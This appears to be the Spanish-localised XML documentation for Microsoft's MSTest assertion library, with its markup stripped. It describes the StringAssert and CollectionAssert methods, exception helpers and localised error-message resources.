comparar la igualdad de dos instancias. - Este objeto se devolverá siempre con Assert.Fail. Utilice - Assert.AreEqual y las sobrecargas asociadas en pruebas unitarias. - - Objeto A - Objeto B - False, siempre. - - - - Comprueba si el código especificado por el delegado produce exactamente la excepción dada de tipo (y no de un tipo derivado) - y devuelve una excepción - - AssertFailedException - - si el código no produce la excepción dada o produce otra de un tipo que no sea . - - - Delegado para el código que se va a probar y que se espera que inicie una excepción. - - - Type of exception expected to be thrown. - - - Thrown if does not throws exception of type . - - - El tipo de excepción que se espera que se inicie. - - - - - Comprueba si el código especificado por el delegado produce exactamente la excepción dada de tipo (y no de un tipo derivado) - y devuelve una excepción - - AssertFailedException - - si el código no produce la excepción dada o produce otra de un tipo que no sea . - - - Delegado a código que se va a probar y que se espera que inicie una excepción. - - - Mensaje que se va a incluir en la excepción cuando - no inicia una excepción de tipo . - - - Type of exception expected to be thrown. - - - Thrown if does not throws exception of type . - - - El tipo de excepción que se espera que se inicie. - - - - - Comprueba si el código especificado por el delegado produce exactamente la excepción dada de tipo (y no de un tipo derivado) - y devuelve una excepción - - AssertFailedException - - si el código no produce la excepción dada o produce otra de un tipo que no sea . - - - Delegado a código que se va a probar y que se espera que inicie una excepción. - - - Type of exception expected to be thrown. - - - Thrown if does not throws exception of type . - - - El tipo de excepción que se espera que se inicie. - - - - - Comprueba si el código especificado por el delegado produce exactamente la excepción dada de tipo (y no de un tipo derivado) - y devuelve una excepción - - AssertFailedException - - si el código no produce la excepción dada o produce otra de un tipo que no sea . - - - Delegado a código que se va a probar y que se espera que inicie una excepción. - - - Mensaje que se va a incluir en la excepción cuando - no inicia una excepción de tipo . - - - Type of exception expected to be thrown. - - - Thrown if does not throws exception of type . - - - El tipo de excepción que se espera que se inicie. - - - - - Comprueba si el código especificado por el delegado produce exactamente la excepción dada de tipo (y no de un tipo derivado) - y devuelve una excepción - - AssertFailedException - - si el código no produce la excepción dada o produce otra de un tipo que no sea . - - - Delegado a código que se va a probar y que se espera que inicie una excepción. - - - Mensaje que se va a incluir en la excepción cuando - no inicia una excepción de tipo . - - - Matriz de parámetros que se usa al formatear . - - - Type of exception expected to be thrown. - - - Thrown if does not throw exception of type . - - - El tipo de excepción que se espera que se inicie. - - - - - Comprueba si el código especificado por el delegado produce exactamente la excepción dada de tipo (y no de un tipo derivado) - y devuelve una excepción - - AssertFailedException - - si el código no produce la excepción dada o produce otra de un tipo que no sea . - - - Delegado a código que se va a probar y que se espera que inicie una excepción. - - - Mensaje que se va a incluir en la excepción cuando - no inicia una excepción de tipo . - - - Matriz de parámetros que se usa al formatear . - - - Type of exception expected to be thrown. - - - Thrown if does not throws exception of type . - - - El tipo de excepción que se espera que se inicie. - - - - - Comprueba si el código especificado por el delegado produce exactamente la excepción dada de tipo (y no de un tipo derivado) - y devuelve una excepción - - AssertFailedException - - si el código no produce la excepción dada o produce otra de un tipo que no sea . - - - Delegado para el código que se va a probar y que se espera que inicie una excepción. - - - Type of exception expected to be thrown. - - - Thrown if does not throws exception of type . - - - que ejecuta el delegado. - - - - - Comprueba si el código especificado por el delegado produce exactamente la excepción dada de tipo (y no de un tipo derivado) - y devuelve una excepción AssertFailedException si el código no produce la excepción dada o produce otra de un tipo que no sea . - - Delegado para el código que se va a probar y que se espera que inicie una excepción. - - Mensaje que se va a incluir en la excepción cuando - no inicia una excepción de tipo . - - Type of exception expected to be thrown. - - Thrown if does not throws exception of type . - - - que ejecuta el delegado. - - - - - Comprueba si el código especificado por el delegado produce exactamente la excepción dada de tipo (y no de un tipo derivado) - y devuelve una excepción AssertFailedException si el código no produce la excepción dada o produce otra de un tipo que no sea . - - Delegado para el código que se va a probar y que se espera que inicie una excepción. - - Mensaje que se va a incluir en la excepción cuando - no inicia una excepción de tipo . - - - Matriz de parámetros que se usa al formatear . - - Type of exception expected to be thrown. - - Thrown if does not throws exception of type . - - - que ejecuta el delegado. - - - - - Reemplaza los caracteres NULL "\0" por "\\0". - - - Cadena para buscar. - - - La cadena convertida con los caracteres NULL reemplazados por "\\0". - - - This is only public and still present to preserve compatibility with the V1 framework. - - - - - Función auxiliar que produce una excepción AssertionFailedException. - - - nombre de la aserción que inicia una excepción - - - mensaje que describe las condiciones del error de aserción - - - Los parámetros. - - - - - Comprueba el parámetro para las condiciones válidas. - - - El parámetro. - - - Nombre de la aserción. - - - nombre de parámetro - - - mensaje de la excepción de parámetro no válido - - - Los parámetros. - - - - - Convierte un objeto en cadena de forma segura, con control de los valores y caracteres NULL. - Los valores NULL se convierten en "NULL". Los caracteres NULL se convierten en "\\0". - - - Objeto que se va a convertir en cadena. - - - La cadena convertida. - - - - - Aserción de cadena. - - - - - Obtiene la instancia de singleton de la funcionalidad CollectionAssert. - - - Users can use this to plug-in custom assertions through C# extension methods. - For instance, the signature of a custom assertion provider could be "public static void ContainsWords(this StringAssert cusomtAssert, string value, ICollection substrings)" - Users could then use a syntax similar to the default assertions which in this case is "StringAssert.That.ContainsWords(value, substrings);" - More documentation is at "https://github.com/Microsoft/testfx-docs". - - - - - Comprueba si la cadena especificada contiene la subcadena indicada - y produce una excepción si la subcadena no está en la - cadena de prueba. - - - La cadena que se espera que contenga . - - - La cadena que se espera que aparezca en . - - - Thrown if is not found in - . - - - - - Comprueba si la cadena especificada contiene la subcadena indicada - y produce una excepción si la subcadena no está en la - cadena de prueba. - - - La cadena que se espera que contenga . - - - La cadena que se espera que aparezca en . - - - Mensaje que se va a incluir en la excepción cuando - no se encuentra en . El mensaje se muestra en - los resultados de las pruebas. - - - Thrown if is not found in - . - - - - - Comprueba si la cadena especificada contiene la subcadena indicada - y produce una excepción si la subcadena no está en la - cadena de prueba. - - - La cadena que se espera que contenga . - - - La cadena que se espera que aparezca en . - - - Mensaje que se va a incluir en la excepción cuando - no se encuentra en . El mensaje se muestra en - los resultados de las pruebas. - - - Matriz de parámetros que se usa al formatear . - - - Thrown if is not found in - . - - - - - Comprueba si la cadena especificada empieza por la subcadena indicada - y produce una excepción si la cadena de prueba no empieza por la - subcadena. - - - Cadena que se espera que empiece por . - - - Cadena que se espera que sea un prefijo de . - - - Thrown if does not begin with - . - - - - - Comprueba si la cadena especificada empieza por la subcadena indicada - y produce una excepción si la cadena de prueba no empieza por la - subcadena. - - - Cadena que se espera que empiece por . - - - Cadena que se espera que sea un prefijo de . - - - Mensaje que se va a incluir en la excepción cuando - no empieza por . El mensaje se - muestra en los resultados de las pruebas. - - - Thrown if does not begin with - . - - - - - Comprueba si la cadena especificada empieza por la subcadena indicada - y produce una excepción si la cadena de prueba no empieza por la - subcadena. - - - Cadena que se espera que empiece por . - - - Cadena que se espera que sea un prefijo de . - - - Mensaje que se va a incluir en la excepción cuando - no empieza por . El mensaje se - muestra en los resultados de las pruebas. - - - Matriz de parámetros que se usa al formatear . - - - Thrown if does not begin with - . - - - - - Comprueba si la cadena especificada termina con la subcadena indicada - y produce una excepción si la cadena de prueba no termina con la - subcadena. - - - Cadena que se espera que termine con . - - - Cadena que se espera que sea un sufijo de . - - - Thrown if does not end with - . - - - - - Comprueba si la cadena especificada termina con la subcadena indicada - y produce una excepción si la cadena de prueba no termina con la - subcadena. - - - Cadena que se espera que termine con . - - - Cadena que se espera que sea un sufijo de . - - - Mensaje que se va a incluir en la excepción cuando - no termina con . El mensaje se - muestra en los resultados de las pruebas. - - - Thrown if does not end with - . - - - - - Comprueba si la cadena especificada termina con la subcadena indicada - y produce una excepción si la cadena de prueba no termina con la - subcadena. - - - Cadena que se espera que termine con . - - - Cadena que se espera que sea un sufijo de . - - - Mensaje que se va a incluir en la excepción cuando - no termina con . El mensaje se - muestra en los resultados de las pruebas. - - - Matriz de parámetros que se usa al formatear . - - - Thrown if does not end with - . - - - - - Comprueba si la cadena especificada coincide con una expresión regular - y produce una excepción si la cadena no coincide con la expresión. - - - La cadena que se espera que coincida con . - - - Expresión regular con la que se espera que - coincida. - - - Thrown if does not match - . - - - - - Comprueba si la cadena especificada coincide con una expresión regular - y produce una excepción si la cadena no coincide con la expresión. - - - La cadena que se espera que coincida con . - - - Expresión regular con la que se espera que - coincida. - - - Mensaje que se va a incluir en la excepción cuando - no coincide con . El mensaje se muestra en - los resultados de las pruebas. - - - Thrown if does not match - . - - - - - Comprueba si la cadena especificada coincide con una expresión regular - y produce una excepción si la cadena no coincide con la expresión. - - - La cadena que se espera que coincida con . - - - Expresión regular con la que se espera que - coincida. - - - Mensaje que se va a incluir en la excepción cuando - no coincide con . El mensaje se muestra en - los resultados de las pruebas. - - - Matriz de parámetros que se usa al formatear . - - - Thrown if does not match - . - - - - - Comprueba si la cadena especificada no coincide con una expresión regular - y produce una excepción si la cadena coincide con la expresión. - - - Cadena que se espera que no coincida con . - - - Expresión regular con la que se espera que no - coincida. - - - Thrown if matches . - - - - - Comprueba si la cadena especificada no coincide con una expresión regular - y produce una excepción si la cadena coincide con la expresión. - - - Cadena que se espera que no coincida con . - - - Expresión regular con la que se espera que no - coincida. - - - Mensaje que se va a incluir en la excepción cuando - coincide con . El mensaje se muestra en los resultados de las - pruebas. - - - Thrown if matches . - - - - - Comprueba si la cadena especificada no coincide con una expresión regular - y produce una excepción si la cadena coincide con la expresión. - - - Cadena que se espera que no coincida con . - - - Expresión regular con la que se espera que no - coincida. - - - Mensaje que se va a incluir en la excepción cuando - coincide con . El mensaje se muestra en los resultados de las - pruebas. - - - Matriz de parámetros que se usa al formatear . - - - Thrown if matches . - - - - - Colección de clases auxiliares para probar varias condiciones asociadas - a las colecciones en las pruebas unitarias. Si la condición que se está probando no se - cumple, se produce una excepción. - - - - - Obtiene la instancia de singleton de la funcionalidad CollectionAssert. - - - Users can use this to plug-in custom assertions through C# extension methods. - For instance, the signature of a custom assertion provider could be "public static void AreEqualUnordered(this CollectionAssert cusomtAssert, ICollection expected, ICollection actual)" - Users could then use a syntax similar to the default assertions which in this case is "CollectionAssert.That.AreEqualUnordered(list1, list2);" - More documentation is at "https://github.com/Microsoft/testfx-docs". - - - - - Comprueba si la colección especificada contiene el elemento indicado - y produce una excepción si el elemento no está en la colección. - - - Colección donde buscar el elemento. - - - El elemento que se espera que esté en la colección. - - - Thrown if is not found in - . - - - - - Comprueba si la colección especificada contiene el elemento indicado - y produce una excepción si el elemento no está en la colección. - - - Colección donde buscar el elemento. - - - El elemento que se espera que esté en la colección. - - - Mensaje que se va a incluir en la excepción cuando - no se encuentra en . El mensaje se muestra en - los resultados de las pruebas. - - - Thrown if is not found in - . - - - - - Comprueba si la colección especificada contiene el elemento indicado - y produce una excepción si el elemento no está en la colección. - - - Colección donde buscar el elemento. - - - El elemento que se espera que esté en la colección. - - - Mensaje que se va a incluir en la excepción cuando - no se encuentra en . El mensaje se muestra en - los resultados de las pruebas. - - - Matriz de parámetros que se usa al formatear . - - - Thrown if is not found in - . - - - - - Comprueba si la colección especificada no contiene el elemento indicado - y produce una excepción si el elemento se encuentra en la colección. - - - Colección donde buscar el elemento. - - - El elemento que se espera que no esté en la colección. - - - Thrown if is found in - . - - - - - Comprueba si la colección especificada no contiene el elemento indicado - y produce una excepción si el elemento se encuentra en la colección. - - - Colección donde buscar el elemento. - - - El elemento que se espera que no esté en la colección. - - - Mensaje que se va a incluir en la excepción cuando - se encuentra en . El mensaje se muestra en los resultados de las - pruebas. - - - Thrown if is found in - . - - - - - Comprueba si la colección especificada no contiene el elemento indicado - y produce una excepción si el elemento se encuentra en la colección. - - - Colección donde buscar el elemento. - - - El elemento que se espera que no esté en la colección. - - - Mensaje que se va a incluir en la excepción cuando - se encuentra en . El mensaje se muestra en los resultados de las - pruebas. - - - Matriz de parámetros que se usa al formatear . - - - Thrown if is found in - . - - - - - Comprueba que todos los elementos de la colección especificada no sean NULL - y produce una excepción si alguno lo es. - - - Colección donde buscar elementos NULL. - - - Thrown if a null element is found in . - - - - - Comprueba que todos los elementos de la colección especificada no sean NULL - y produce una excepción si alguno lo es. - - - Colección donde buscar elementos NULL. - - - Mensaje que se va a incluir en la excepción cuando - contiene un elemento NULL. El mensaje se muestra en los resultados de las pruebas. - - - Thrown if a null element is found in . - - - - - Comprueba que todos los elementos de la colección especificada no sean NULL - y produce una excepción si alguno lo es. - - - Colección donde buscar elementos NULL. - - - Mensaje que se va a incluir en la excepción cuando - contiene un elemento NULL. El mensaje se muestra en los resultados de las pruebas. - - - Matriz de parámetros que se usa al formatear . - - - Thrown if a null element is found in . - - - - - Comprueba si todos los elementos de la colección especificada son únicos o no - y produce una excepción si dos elementos de la colección son iguales. - - - Colección donde buscar elementos duplicados. - - - Thrown if a two or more equal elements are found in - . - - - - - Comprueba si todos los elementos de la colección especificada son únicos o no - y produce una excepción si dos elementos de la colección son iguales. - - - Colección donde buscar elementos duplicados. - - - Mensaje que se va a incluir en la excepción cuando - contiene al menos un elemento duplicado. El mensaje se muestra en los - resultados de las pruebas. - - - Thrown if a two or more equal elements are found in - . - - - - - Comprueba si todos los elementos de la colección especificada son únicos o no - y produce una excepción si dos elementos de la colección son iguales. - - - Colección donde buscar elementos duplicados. - - - Mensaje que se va a incluir en la excepción cuando - contiene al menos un elemento duplicado. El mensaje se muestra en los - resultados de las pruebas. - - - Matriz de parámetros que se usa al formatear . - - - Thrown if a two or more equal elements are found in - . - - - - - Comprueba si una colección es un subconjunto de otra y produce - una excepción si algún elemento del subconjunto no se encuentra también en el - superconjunto. - - - Se esperaba que la colección fuera un subconjunto de . - - - Se esperaba que la colección fuera un superconjunto de - - - Thrown if an element in is not found in - . - - - - - Comprueba si una colección es un subconjunto de otra y produce - una excepción si algún elemento del subconjunto no se encuentra también en el - superconjunto. - - - Se esperaba que la colección fuera un subconjunto de . - - - Se esperaba que la colección fuera un superconjunto de - - - Mensaje que se va a incluir en la excepción cuando un elemento de - no se encuentra en . - El mensaje se muestra en los resultados de las pruebas. - - - Thrown if an element in is not found in - . - - - - - Comprueba si una colección es un subconjunto de otra y produce - una excepción si algún elemento del subconjunto no se encuentra también en el - superconjunto. - - - Se esperaba que la colección fuera un subconjunto de . - - - Se esperaba que la colección fuera un superconjunto de - - - Mensaje que se va a incluir en la excepción cuando un elemento de - no se encuentra en . - El mensaje se muestra en los resultados de las pruebas. - - - Matriz de parámetros que se usa al formatear . - - - Thrown if an element in is not found in - . - - - - - Comprueba si una colección no es un subconjunto de otra y produce - una excepción si todos los elementos del subconjunto se encuentran también en el - superconjunto. - - - Se esperaba que la colección no fuera un subconjunto de . - - - Se esperaba que la colección no fuera un superconjunto de - - - Thrown if every element in is also found in - . - - - - - Comprueba si una colección no es un subconjunto de otra y produce - una excepción si todos los elementos del subconjunto se encuentran también en el - superconjunto. - - - Se esperaba que la colección no fuera un subconjunto de . - - - Se esperaba que la colección no fuera un superconjunto de - - - Mensaje que se va a incluir en la excepción cuando cada elemento de - también se encuentra en . - El mensaje se muestra en los resultados de las pruebas. - - - Thrown if every element in is also found in - . - - - - - Comprueba si una colección no es un subconjunto de otra y produce - una excepción si todos los elementos del subconjunto se encuentran también en el - superconjunto. - - - Se esperaba que la colección no fuera un subconjunto de . - - - Se esperaba que la colección no fuera un superconjunto de - - - Mensaje que se va a incluir en la excepción cuando cada elemento de - también se encuentra en . - El mensaje se muestra en los resultados de las pruebas. - - - Matriz de parámetros que se usa al formatear . - - - Thrown if every element in is also found in - . - - - - - Comprueba si dos colecciones contienen los mismos elementos y produce - una excepción si alguna de ellas contiene un elemento que - no está en la otra. - - - Primera colección para comparar. Contiene los elementos que la prueba - espera. - - - Segunda colección para comparar. Esta es la colección generada por - el código sometido a prueba. - - - Thrown if an element was found in one of the collections but not - the other. - - - - - Comprueba si dos colecciones contienen los mismos elementos y produce - una excepción si alguna de ellas contiene un elemento que - no está en la otra. - - - Primera colección para comparar. Contiene los elementos que la prueba - espera. - - - Segunda colección para comparar. Esta es la colección generada por - el código sometido a prueba. - - - Mensaje que se va a incluir en la excepción cuando un elemento se encontró - en una de las colecciones pero no en la otra. El mensaje se muestra - en los resultados de las pruebas. - - - Thrown if an element was found in one of the collections but not - the other. - - - - - Comprueba si dos colecciones contienen los mismos elementos y produce - una excepción si alguna de ellas contiene un elemento que - no está en la otra. - - - Primera colección para comparar. Contiene los elementos que la prueba - espera. - - - Segunda colección para comparar. Esta es la colección generada por - el código sometido a prueba. - - - Mensaje que se va a incluir en la excepción cuando un elemento se encontró - en una de las colecciones pero no en la otra. El mensaje se muestra - en los resultados de las pruebas. - - - Matriz de parámetros que se usa al formatear . - - - Thrown if an element was found in one of the collections but not - the other. - - - - - Comprueba si dos colecciones contienen elementos distintos y produce una - excepción si las colecciones contienen elementos idénticos, independientemente - del orden. - - - Primera colección para comparar. Contiene los elementos que la prueba - espera que sean distintos a los de la colección real. - - - Segunda colección para comparar. Esta es la colección generada por - el código sometido a prueba. - - - Thrown if the two collections contained the same elements, including - the same number of duplicate occurrences of each element. - - - - - Comprueba si dos colecciones contienen elementos distintos y produce una - excepción si las colecciones contienen elementos idénticos, independientemente - del orden. - - - Primera colección para comparar. Contiene los elementos que la prueba - espera que sean distintos a los de la colección real. - - - Segunda colección para comparar. Esta es la colección generada por - el código sometido a prueba. - - - Mensaje que se va a incluir en la excepción cuando - contiene los mismos elementos que . El mensaje - se muestra en los resultados de las pruebas. - - - Thrown if the two collections contained the same elements, including - the same number of duplicate occurrences of each element. - - - - - Comprueba si dos colecciones contienen elementos distintos y produce una - excepción si las colecciones contienen elementos idénticos, independientemente - del orden. - - - Primera colección para comparar. Contiene los elementos que la prueba - espera que sean distintos a los de la colección real. - - - Segunda colección para comparar. Esta es la colección generada por - el código sometido a prueba. - - - Mensaje que se va a incluir en la excepción cuando - contiene los mismos elementos que . El mensaje - se muestra en los resultados de las pruebas. - - - Matriz de parámetros que se usa al formatear . - - - Thrown if the two collections contained the same elements, including - the same number of duplicate occurrences of each element. - - - - - Comprueba si todos los elementos de la colección especificada son instancias - del tipo esperado y produce una excepción si el tipo esperado no - se encuentra en la jerarquía de herencia de uno o más de los elementos. - - - Colección que contiene los elementos que la prueba espera que sean del - tipo especificado. - - - El tipo esperado de cada elemento de . - - - Thrown if an element in is null or - is not in the inheritance hierarchy - of an element in . - - - - - Comprueba si todos los elementos de la colección especificada son instancias - del tipo esperado y produce una excepción si el tipo esperado no - se encuentra en la jerarquía de herencia de uno o más de los elementos. - - - Colección que contiene los elementos que la prueba espera que sean del - tipo especificado. - - - El tipo esperado de cada elemento de . - - - Mensaje que se va a incluir en la excepción cuando un elemento de - no es una instancia de - . El mensaje se muestra en los resultados de las pruebas. - - - Thrown if an element in is null or - is not in the inheritance hierarchy - of an element in . - - - - - Comprueba si todos los elementos de la colección especificada son instancias - del tipo esperado y produce una excepción si el tipo esperado no - se encuentra en la jerarquía de herencia de uno o más de los elementos. - - - Colección que contiene los elementos que la prueba espera que sean del - tipo especificado. - - - El tipo esperado de cada elemento de . - - - Mensaje que se va a incluir en la excepción cuando un elemento de - no es una instancia de - . El mensaje se muestra en los resultados de las pruebas. - - - Matriz de parámetros que se usa al formatear . - - - Thrown if an element in is null or - is not in the inheritance hierarchy - of an element in . - - - - - Comprueba si dos colecciones especificadas son iguales y produce una excepción - si las colecciones no son iguales. La igualdad equivale a tener los mismos - elementos en el mismo orden y la misma cantidad. Las distintas referencias al mismo - valor se consideran iguales. - - - Primera colección para comparar. Esta es la colección que la prueba espera. - - - Segunda colección para comparar. Esta es la colección generada por el - código sometido a prueba. - - - Thrown if is not equal to - . - - - - - Comprueba si dos colecciones especificadas son iguales y produce una excepción - si las colecciones no son iguales. La igualdad equivale a tener los mismos - elementos en el mismo orden y la misma cantidad. Las distintas referencias al mismo - valor se consideran iguales. - - - Primera colección para comparar. Esta es la colección que la prueba espera. - - - Segunda colección para comparar. Esta es la colección generada por el - código sometido a prueba. - - - Mensaje que se va a incluir en la excepción cuando - no es igual a . El mensaje se muestra en - los resultados de las pruebas. - - - Thrown if is not equal to - . - - - - - Comprueba si dos colecciones especificadas son iguales y produce una excepción - si las colecciones no son iguales. La igualdad equivale a tener los mismos - elementos en el mismo orden y la misma cantidad. Las distintas referencias al mismo - valor se consideran iguales. - - - Primera colección para comparar. Esta es la colección que la prueba espera. - - - Segunda colección para comparar. Esta es la colección generada por el - código sometido a prueba. - - - Mensaje que se va a incluir en la excepción cuando - no es igual a . El mensaje se muestra en - los resultados de las pruebas. - - - Matriz de parámetros que se usa al formatear . - - - Thrown if is not equal to - . - - - - - Comprueba si dos colecciones especificadas son distintas y produce una excepción - si las colecciones son iguales. La igualdad equivale a tener los mismos - elementos en el mismo orden y la misma cantidad. Las distintas referencias al mismo - valor se consideran iguales. - - - Primera colección para comparar. Esta es la colección que la prueba espera que - no coincida con . - - - Segunda colección para comparar. Esta es la colección generada por el - código sometido a prueba. - - - Thrown if is equal to . - - - - - Comprueba si dos colecciones especificadas son distintas y produce una excepción - si las colecciones son iguales. La igualdad equivale a tener los mismos - elementos en el mismo orden y la misma cantidad. Las distintas referencias al mismo - valor se consideran iguales. - - - Primera colección para comparar. Esta es la colección que la prueba espera que - no coincida con . - - - Segunda colección para comparar. Esta es la colección generada por el - código sometido a prueba. - - - Mensaje que se va a incluir en la excepción cuando - es igual a . El mensaje se muestra en - los resultados de las pruebas. - - - Thrown if is equal to . - - - - - Comprueba si dos colecciones especificadas son distintas y produce una excepción - si las colecciones son iguales. La igualdad equivale a tener los mismos - elementos en el mismo orden y la misma cantidad. Las distintas referencias al mismo - valor se consideran iguales. - - - Primera colección para comparar. Esta es la colección que la prueba espera que - no coincida con . - - - Segunda colección para comparar. Esta es la colección generada por el - código sometido a prueba. - - - Mensaje que se va a incluir en la excepción cuando - es igual a . El mensaje se muestra en - los resultados de las pruebas. - - - Matriz de parámetros que se usa al formatear . - - - Thrown if is equal to . - - - - - Comprueba si dos colecciones especificadas son iguales y produce una excepción - si las colecciones no son iguales. La igualdad equivale a tener los mismos - elementos en el mismo orden y la misma cantidad. Las distintas referencias al mismo - valor se consideran iguales. - - - Primera colección para comparar. Esta es la colección que la prueba espera. - - - Segunda colección para comparar. Esta es la colección generada por el - código sometido a prueba. - - - Implementación de comparación que se va a usar al comparar elementos de la colección. - - - Thrown if is not equal to - . - - - - - Comprueba si dos colecciones especificadas son iguales y produce una excepción - si las colecciones no son iguales. La igualdad equivale a tener los mismos - elementos en el mismo orden y la misma cantidad. Las distintas referencias al mismo - valor se consideran iguales. - - - Primera colección para comparar. Esta es la colección que la prueba espera. - - - Segunda colección para comparar. Esta es la colección generada por el - código sometido a prueba. - - - Implementación de comparación que se va a usar al comparar elementos de la colección. - - - Mensaje que se va a incluir en la excepción cuando - no es igual a . El mensaje se muestra en - los resultados de las pruebas. - - - Thrown if is not equal to - . - - - - - Comprueba si dos colecciones especificadas son iguales y produce una excepción - si las colecciones no son iguales. La igualdad equivale a tener los mismos - elementos en el mismo orden y la misma cantidad. Las distintas referencias al mismo - valor se consideran iguales. - - - Primera colección para comparar. Esta es la colección que la prueba espera. - - - Segunda colección para comparar. Esta es la colección generada por el - código sometido a prueba. - - - Implementación de comparación que se va a usar al comparar elementos de la colección. - - - Mensaje que se va a incluir en la excepción cuando - no es igual a . El mensaje se muestra en - los resultados de las pruebas. - - - Matriz de parámetros que se usa al formatear . - - - Thrown if is not equal to - . - - - - - Comprueba si dos colecciones especificadas son distintas y produce una excepción - si las colecciones son iguales. La igualdad equivale a tener los mismos - elementos en el mismo orden y la misma cantidad. Las distintas referencias al mismo - valor se consideran iguales. - - - Primera colección para comparar. Esta es la colección que la prueba espera que - no coincida con . - - - Segunda colección para comparar. Esta es la colección generada por el - código sometido a prueba. - - - Implementación de comparación que se va a usar al comparar elementos de la colección. - - - Thrown if is equal to . - - - - - Comprueba si dos colecciones especificadas son distintas y produce una excepción - si las colecciones son iguales. La igualdad equivale a tener los mismos - elementos en el mismo orden y la misma cantidad. Las distintas referencias al mismo - valor se consideran iguales. - - - Primera colección para comparar. Esta es la colección que la prueba espera que - no coincida con . - - - Segunda colección para comparar. Esta es la colección generada por el - código sometido a prueba. - - - Implementación de comparación que se va a usar al comparar elementos de la colección. - - - Mensaje que se va a incluir en la excepción cuando - es igual a . El mensaje se muestra en - los resultados de las pruebas. - - - Thrown if is equal to . - - - - - Comprueba si dos colecciones especificadas son distintas y produce una excepción - si las colecciones son iguales. La igualdad equivale a tener los mismos - elementos en el mismo orden y la misma cantidad. Las distintas referencias al mismo - valor se consideran iguales. - - - Primera colección para comparar. Esta es la colección que la prueba espera que - no coincida con . - - - Segunda colección para comparar. Esta es la colección generada por el - código sometido a prueba. - - - Implementación de comparación que se va a usar al comparar elementos de la colección. - - - Mensaje que se va a incluir en la excepción cuando - es igual a . El mensaje se muestra en - los resultados de las pruebas. - - - Matriz de parámetros que se usa al formatear . - - - Thrown if is equal to . - - - - - Determina si la primera colección es un subconjunto de la - segunda. Si cualquiera de los conjuntos contiene elementos duplicados, el número - de repeticiones del elemento en el subconjunto debe ser inferior o - igual al número de repeticiones en el superconjunto. - - - Colección que la prueba espera que esté incluida en . - - - Colección que la prueba espera que contenga . - - - True si es un subconjunto de - , de lo contrario false. - - - - - Construye un diccionario que contiene el número de repeticiones de cada - elemento en la colección especificada. - - - Colección que se va a procesar. - - - Número de elementos NULL de la colección. - - - Diccionario que contiene el número de repeticiones de cada elemento - en la colección especificada. - - - - - Encuentra un elemento no coincidente entre ambas colecciones. Un elemento - no coincidente es aquel que aparece un número distinto de veces en la - colección esperada de lo que aparece en la colección real. Se - supone que las colecciones son referencias no NULL diferentes con el - mismo número de elementos. El autor de la llamada es el responsable de - este nivel de comprobación. Si no hay ningún elemento no coincidente, - la función devuelve false y no deben usarse parámetros out. - - - La primera colección para comparar. - - - La segunda colección para comparar. - - - Número esperado de repeticiones de - o 0 si no hay ningún elemento no - coincidente. - - - El número real de repeticiones de - o 0 si no hay ningún elemento no - coincidente. - - - El elemento no coincidente (puede ser nulo) o NULL si no hay ningún - elemento no coincidente. - - - Es true si se encontró un elemento no coincidente. De lo contrario, false. - - - - - compara los objetos con object.Equals. - - - - - Clase base para las excepciones de marco. - - - - - Inicializa una nueva instancia de la clase . - - - - - Inicializa una nueva instancia de la clase . - - El mensaje. - La excepción. - - - - Inicializa una nueva instancia de la clase . - - El mensaje. - - - - Clase de recurso fuertemente tipado para buscar cadenas traducidas, etc. - - - - - Devuelve la instancia de ResourceManager almacenada en caché que usa esta clase. - - - - - Invalida la propiedad CurrentUICulture del subproceso actual para todas - las búsquedas de recursos que usan esta clase de recursos fuertemente tipados. - - - - - Busca una cadena traducida similar a "La cadena de acceso tiene una sintaxis no válida". - - - - - Busca una cadena traducida similar a "La colección esperada contiene {1} repeticiones de <{2}>. La colección actual contiene {3} repeticiones. {0}". - - - - - Busca una cadena traducida similar a "Se encontró un elemento duplicado: <{1}>. {0}". - - - - - Busca una cadena traducida similar a "Se esperaba: <{1}>. El caso es distinto para el valor real: <{2}>. {0}". - - - - - Busca una cadena traducida similar a "Se esperaba una diferencia no superior a <{3}> entre el valor esperado <{1}> y el valor real <{2}>. {0}". - - - - - Busca una cadena traducida similar a "Se esperaba: <{1} ({2})>, pero es: <{3} ({4})>. {0}". - - - - - Busca una cadena traducida similar a "Se esperaba: <{1}>, pero es: <{2}>. {0}". - - - - - Busca una cadena traducida similar a "Se esperaba una diferencia mayor que <{3}> entre el valor esperado <{1}> y el valor real <{2}>. {0}". - - - - - Busca una cadena traducida similar a "Se esperaba cualquier valor excepto: <{1}>, pero es: <{2}>. {0}". - - - - - Busca una cadena traducida similar a "No pase tipos de valor a AreSame(). Los valores convertidos a Object no serán nunca iguales. Considere el uso de AreEqual(). {0}". - - - - - Busca una cadena traducida similar a "Error de {0}. {1}". - - - - - Busca una cadena traducida similar a "No se admite un método de prueba asincrónico con UITestMethodAttribute. Quite el método asincrónico o use TestMethodAttribute. - - - - - Busca una cadena traducida similar a "Ambas colecciones están vacías". {0}. - - - - - Busca una cadena traducida similar a "Ambas colecciones tienen los mismos elementos". - - - - - Busca una cadena traducida similar a "Las referencias de ambas colecciones apuntan al mismo objeto de colección. {0}". - - - - - Busca una cadena traducida similar a "Ambas colecciones tienen los mismos elementos. {0}". - - - - - Busca una cadena traducida similar a "{0}({1})". - - - - - Busca una cadena traducida similar a "(NULL)". - - - - - Busca una cadena traducida similar a "(objeto)". - - - - - Busca una cadena traducida similar a "La cadena "{0}" no contiene la cadena "{1}". {2}". - - - - - Busca una cadena traducida similar a "{0} ({1})". - - - - - Busca una cadena traducida similar a "No se debe usar Assert.Equals para aserciones. Use Assert.AreEqual y Overloads en su lugar". - - - - - Busca una cadena traducida similar a "El número de elementos de las colecciones no coincide. Se esperaba: <{1}>, pero es: <{2}>. {0}". - - - - - Busca una cadena traducida similar a "El elemento del índice {0} no coincide". - - - - - Busca una cadena traducida similar a "El elemento del índice {1} no es del tipo esperado. Tipo esperado: <{2}>, tipo real: <{3}>. {0}". - - - - - Busca una cadena traducida similar a "El elemento del índice {1} es (NULL). Se esperaba el tipo: <{2}>. {0}". - - - - - Busca una cadena traducida similar a "La cadena "{0}" no termina con la cadena "{1}". {2}". - - - - - Busca una cadena traducida similar a "Argumento no válido: EqualsTester no puede utilizar valores NULL". - - - - - Busca una cadena traducida similar a "El objeto de tipo {0} no se puede convertir en {1}". - - - - - Busca una cadena traducida similar a "El objeto interno al que se hace referencia ya no es válido". - - - - - Busca una cadena traducida similar a "El parámetro "{0}" no es válido. {1}". - - - - - Busca una cadena traducida similar a "La propiedad {0} tiene el tipo {1}; se esperaba el tipo {2}". - - - - - Busca una cadena traducida similar a "{0} Tipo esperado: <{1}>. Tipo real: <{2}>". - - - - - Busca una cadena traducida similar a "La cadena "{0}" no coincide con el patrón "{1}". {2}". - - - - - Busca una cadena traducida similar a "Tipo incorrecto: <{1}>. Tipo real: <{2}>. {0}". - - - - - 